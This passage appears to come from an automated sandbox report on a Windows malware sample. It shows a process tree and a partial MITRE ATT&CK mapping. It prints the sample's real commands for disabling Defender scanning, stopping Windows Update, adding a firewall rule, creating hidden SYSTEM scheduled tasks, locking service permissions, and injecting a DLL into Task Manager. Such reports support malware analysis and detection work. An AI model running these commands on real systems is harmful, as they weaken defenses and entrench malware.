      Checks SCSI registry key(s)
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      PID:3276
- - C:\Users\Admin\AppData\Local\Temp\e0cbefcb1af40c7d4aff4aca26621a98.exe
    "C:\Users\Admin\AppData\Local\Temp\e0cbefcb1af40c7d4aff4aca26621a98.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:4936
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3524
  - - C:\Users\Admin\AppData\Local\Temp\e0cbefcb1af40c7d4aff4aca26621a98.exe
      "C:\Users\Admin\AppData\Local\Temp\e0cbefcb1af40c7d4aff4aca26621a98.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Checks for VirtualBox DLLs, possible anti-VM trick
      Drops file in Windows directory
      Modifies data under HKEY_USERS
      PID:4360
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:1500
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        5⤵
        
        PID:996
      - C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        6⤵
        Modifies Windows Firewall
        
        PID:2716
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:1756
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        5⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:4060
    - - C:\Windows\rss\csrss.exe
        
        C:\Windows\rss\csrss.exe
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Manipulates WinMonFS driver.
        Drops file in Windows directory
        
        PID:2800
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:2848
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:4628
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /delete /tn ScheduledUpdate /f
        6⤵
        
        PID:4312
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:268
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -nologo -noprofile
        6⤵
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        
        PID:5000
      - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
        
        C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
        6⤵
        Executes dropped EXE
        
        PID:4252
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
        6⤵
        Creates scheduled task(s)
        
        PID:4672
      - C:\Windows\windefender.exe
        
        "C:\Windows\windefender.exe"
        6⤵
        Executes dropped EXE
        
        PID:1920
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        7⤵
        
        PID:5036
        
        C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        8⤵
        Launches sc.exe
        
        PID:3884
- - C:\Users\Admin\AppData\Local\Temp\kos1.exe
    "C:\Users\Admin\AppData\Local\Temp\kos1.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1872
  - - C:\Users\Admin\AppData\Local\Temp\set16.exe
      "C:\Users\Admin\AppData\Local\Temp\set16.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:2360
    - - C:\Users\Admin\AppData\Local\Temp\is-1GT3J.tmp\is-TQJGV.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-1GT3J.tmp\is-TQJGV.tmp" /SL4 $6017C "C:\Users\Admin\AppData\Local\Temp\set16.exe" 1232936 52224
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        Suspicious use of WriteProcessMemory
        
        PID:3216
      - C:\Program Files (x86)\PA Previewer\previewer.exe
        
        "C:\Program Files (x86)\PA Previewer\previewer.exe" -i
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4916
      - C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" helpmsg 8
        6⤵
        
        PID:792
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 helpmsg 8
        7⤵
        
        PID:3688
      - C:\Program Files (x86)\PA Previewer\previewer.exe
        
        "C:\Program Files (x86)\PA Previewer\previewer.exe" -s
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:640
  - - C:\Users\Admin\AppData\Local\Temp\kos.exe
      "C:\Users\Admin\AppData\Local\Temp\kos.exe"
      4⤵
      Checks computer location settings
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3856
- - C:\Users\Admin\AppData\Local\Temp\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Setup.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2368
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:1264
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      Loads dropped DLL
      Checks processor information in registry
      PID:3360
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      PID:3796
- - C:\Users\Admin\AppData\Local\Temp\latestX.exe
    "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Drops file in Program Files directory
    PID:4772
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3552
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4400
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1260
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1432
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:1860
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3332
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2044
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2540
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4128
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:792
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3784
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4180
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1488
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:3860
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:2176
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:3976
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4104
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1276
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4192
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:4364
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4336
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:3296
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:4788
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:3896
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:748
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:4468
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  PID:1672
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:3856
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:1188

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:400

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:1732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery